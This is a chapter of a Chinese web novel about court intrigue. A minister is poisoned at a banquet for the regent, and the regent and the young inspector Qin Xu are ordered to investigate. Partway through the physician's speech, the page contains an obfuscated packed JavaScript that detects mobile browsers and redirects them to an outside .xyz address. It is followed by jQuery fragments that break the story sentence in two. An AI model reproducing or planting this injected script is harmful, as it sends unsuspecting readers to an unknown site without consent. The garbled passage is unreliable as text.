默认冷灰
24号文字
方正启体

7. 鸿门宴

作者:秋言喻本书字数:K更新时间:
    此话一出,众人皆是呼吸一滞,这话的言外之意便是逼陆峤言交出一半兵权,既是施压摄政王一党,也是让世家和内阁们看清楚,这只是第一步。


    随之而来的便是片刻的沉默,对此,秦绪也只是轻轻抬眼瞥了一眼身旁的男人。


    陆峤言依然面不改色,只是似笑非笑地开了口。


    “多谢陛下体恤,臣只不过是觉得秦大人年纪尚小,又是初来乍到,此刻接任恐怕有些难。”


    “爱卿所言甚是,秦督察确实是个可塑之才,”皇帝微微眯眼,笑着望向陆峤言身侧的秦绪,“不过朕以为年纪尚小,正是历练的时候,秦督察意下如何?”


    话锋一转,剑峰便对准了秦绪,她知道他们是在强行逼自己站队,没有对错与否,只是试探秦绪能否成为自己人。


    而默不作声的内阁和世家也只不过是为了今天,看来……这场鸿门宴不仅是针对陆峤言,也是对秦绪。


    身侧的陆峤言依然顶着那副笑面虎的皮囊,目不转睛地盯着她。


    秦绪垂眸,她心下了然,却没有显露出半分的紧张。


    也许陆峤言也在衡量自己,衡量她有没有成为自己人的资格。


    秦绪清楚地知道自己只是这餐宴上的鱼肉,可她偏要做那杀鱼的刀,杀个片甲不留,况且未到最后,谁又知道何人是鱼肉、何人是刀俎。


    下一刻秦绪抬着锋利眼眸,微微弓起腰身,神情自若道:“陛下谬赞,微臣愿尽绵薄之力,为陛下效力、为王爷分忧,秦绪只愿秦楚再无战乱、海晏河清。”


    言语间谦逊又疏离,既没有明显站队的意思,又展现了自己的忠心,这便是秦绪的聪明之处。


    皇帝闻言露出久违的笑容。


    这才是他需要的人,他果然没有看错人。


    “既如此,往后秦督察也可多历练些,早日为表弟分忧。”


    秦绪按例行礼,谢过皇帝后才回眸瞥了一眼陆峤言,只见男人嘴角上扬,眉眼带笑,却不达眼底。


    -


    紫宸殿鼓乐依旧,余音绕梁,但宴席上却依旧暗潮涌动。


    宫宴上,满朝文武悄声言语着,却都不约而同地频频凝目望向陆峤言,他们既敬畏也忌惮着,但更多的是藏在笑容背后的东西。


    对于这场庆功宴,秦绪只知道是皇室内阁世家三方授意,他们既希望陆峤言平定南下倭寇一事,又不希望他活着回来。


    可谁又不知陆峤言曾是武将出身,南下作乱一事又怎能挡得住这位少年将军。


    说实话,在见到陆峤言之前,秦绪对他的了解也不过是洛先生和百姓们的只字片语,可现在她似乎对他多了几分考量


    陆峤言不简单。


    从前她不是不知道,只是没有把精力放在他身上,但现在秦绪才意识到陆峤言比她想象中的还要可怕数倍。


    就如当下,无数双眼睛在盯着他,他每一刻的动向都会被觉察,就连身侧的宫人可能都是各方势力的眼线。


    陆峤言看似风光无限却也步步为营。


    或许他的人生与秦绪一样沉重,他们都肩负着千千万万人的希望,注定只能向前走,走在这条永远望不到头的路上。


    看着一动不动的秦绪,陆峤言忍不住道:“秦督察又在想些什么?连这么好的酒菜都不吃,当真是有些浪费。”


    秦绪这才回过了神,她一时之间不知如何回应,陆峤言这么八面玲珑的人,又怎能不知道她此刻的所思所想,只是他已经习以为常了,所以才不提及。


    秦绪自然是清楚陆峤言的用意的,于是轻描淡写道:“多谢王爷关心。”


    “思虑越多,便越容易寝食难安,”陆峤言夹起一块糕点,仔细端详着,“就连这点心,也会觉得食不甘味,说不定连这一步都是旁人策划好的,与其如此一生,倒不如多吃几块点心多睡几个时辰。”


    秦绪听见这话,竟出奇地笑了。


    她怎么都没想到这位历经雨雪风霜的摄政王居然还能如此务实,即便是在这鸿门宴上,陆峤言想的也不过是想多品尝几道菜,仅此而已。


    “王爷所言甚是。”


    紧接着秦绪感受到了一束灼热的目光,她微微抬起头。


    秦绪的席位对面是内阁的几位重臣,而那目光——正是内阁首辅李敬之,据秦绪所知,这人便是内阁毒瘤,同时也是造成秦楚三权分立的罪魁祸首。


    只可惜此人出身书香世家,即便祖父没有什么高官厚禄,但也是在翰林院和内阁摸爬滚打多年,根基颇深。


    思及此,秦绪也不好一直回避,正当她有些无所适从时,李敬之站起了身。


    只见他接过宫人递来的酒杯,指尖尚未触及杯底,便忽然捂住了胸口处,脸色褪尽了血色,在众目睽睽之下,整个人直挺挺地向后倒去。


    手中的酒盏“哐当”一声砸在了地上,酒水飞溅,打湿了男人带着暗纹的官服,半晌后他的嘴唇变紫,血淌了一地,整个人仿佛被埋进了血水里,再没了气息。


    倏然间宴会上乱作一团,宫人们来往奔袭,重臣们皆是脸色大变,纷纷惊恐地议论着。


    见状,一直把玩着玉坠的皇帝猛然站起身,随后那枚通体温润的玉坠被重重掷在宴桌之上,随即被劈成了两半。


    “查!给朕查清楚!到底是谁这么放肆!敢在摄政王的庆功宴上杀人!”


    -


    半晌后,紫宸殿内乌泱泱塞满了人,御医们纷纷提着药箱跪在冰凉的金阶边,其中最有经验的那位伸出三指搭上了李敬之的手腕。


    奇怪的是李敬之的脉搏仍然有所起伏,可他的身体却已然一副僵死之态,顷刻后指腹竟只能感知到游丝般的颤动。


    紧接着打头的那位御医倏地抬起了头,面露难色,就连声音也带着难掩的惊恐。


    “摄政王!陛下!李大人应该是中了某种特殊的剧毒,微臣方才已经查验过李大人的尸身,牙关紧闭、四肢僵硬如铁,且李大人唇角溢血时,臣仔细观其眼底及耳后,皆有血痕渗出,这分明是……‘血僵之兆’!”


    话音刚落,殿内一片寂静,陆峤言皱了皱眉,打破了沉默:“那这‘血僵之毒’可有解毒之法?”


    御医重重叩首道:“恕臣无能,此毒乃南疆古国所有,一旦发作,便会侵入肌理,不出半个时辰便噬其心脉,导致气血凝滞、筋骨僵死,最终七窍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503119|186050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    流血而亡。”


    南疆?


    提起这两个字,秦绪便来了精神,她清晰地记得南疆与秦楚相约数万里,光是快马加鞭也需数日,更别说南疆还地处严寒、道路陡峭,想来没有半月是无法到达的。


    而这毒就更难说了,一则是秦楚境内没有解药,二则是市舶司管辖极为严格,不仅是货物,有时就连行人也会被扣下,出入极难。


    因此定是有人暗中将这毒带进了秦楚,或许并不是毒,而是还未成形的毒种……只是秦绪还没有证据。


    恍惚间,秦绪的目光与陆峤言不小心撞在了一处,二人四目相对间,陆峤言猛然收回了视线。


    轻触即离的对视,像是无声的对话,男人轻而易举就明白了秦绪的意思。


    她想插手此事。


    陆峤言心下了然,他也真有此意,不过不是秦绪一人,而是他们,毕竟他现在还不能完全信任身旁这个既聪明又圆滑的少女。


    她比他想象中的还要聪明太多。


    而秦绪也知道陆峤言在怀疑自己,但她并不担心,秦绪要的便是陆峤言去接下这个案子,她太清楚陆峤言的想法了,这桩案子的背后牵扯了太多人,所以不管陆峤言如何抉择,最后也必然会查清楚。


    能将这种毒株带进秦楚境内,还敢光明正大地在摄政王的眼皮子底下杀人,怎么看都不简单。


    真是一场精彩的鸿门宴,秦绪的眼底闪过一丝笑意,或许她想要的答案和证据就藏在这里。


    “陛下,李大人一生鞠躬尽瘁,今日便遭此横祸,此事恐非意外。臣请旨彻查此案,一来为李大人昭雪,二来揪出幕后黑手,免得再有人暗害忠良,动摇朝纲。”陆峤言正色地说着,声线清冷又低沉。


    皇帝见陆峤言态度坚决,只得开口道:“朕也有此意,李卿是两朝老臣,无端遭此毒手,若不能查明真相,难安百官之心,只是你一人前往查案怕是有些势单力孤,不若让秦督察在侧,也好多分担些。”


    “微臣遵旨。”


    -


    看着秦绪和陆峤言消失的背影,宋无妄摸了摸下巴,嘴角勾起。


    “没想到又被抢先一步了。”


    “怕什么?内阁的根基可不是一日两日便能动摇的,这次死的是李卿下次可就不一定了,内阁也是时候该换点新鲜血液了。”宋无妄笑着,却没有多说。


    “宋大人的意思是……那个秦绪?”


    “秦绪是个可塑之才,就是太干净了,但你要知道,内阁这地方,再干净的人也总会在这大染缸里发烂发臭,直到骨髓里都透着恶。”


    宋无妄转而狞笑着,在他眼里秦绪跟他一样都是足够狠的人,只有狠和无情才能在内阁混得风生水起,所以在他看到秦绪第一眼时,就清楚地知道秦绪是最适合在内阁的人,也是最适配那个位置的人。


    这么多年,宋无妄再也没看到过这样的人,但他不怕陆峤言来跟他抢人,毕竟他们才是同类人,而陆峤言只能看着秦绪一步步走向内阁。


    两个太聪明又太坚信自我的人注定不会有好结果。


    宋无妄沉默片刻。


    “让她查,秦绪迟早是我的人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)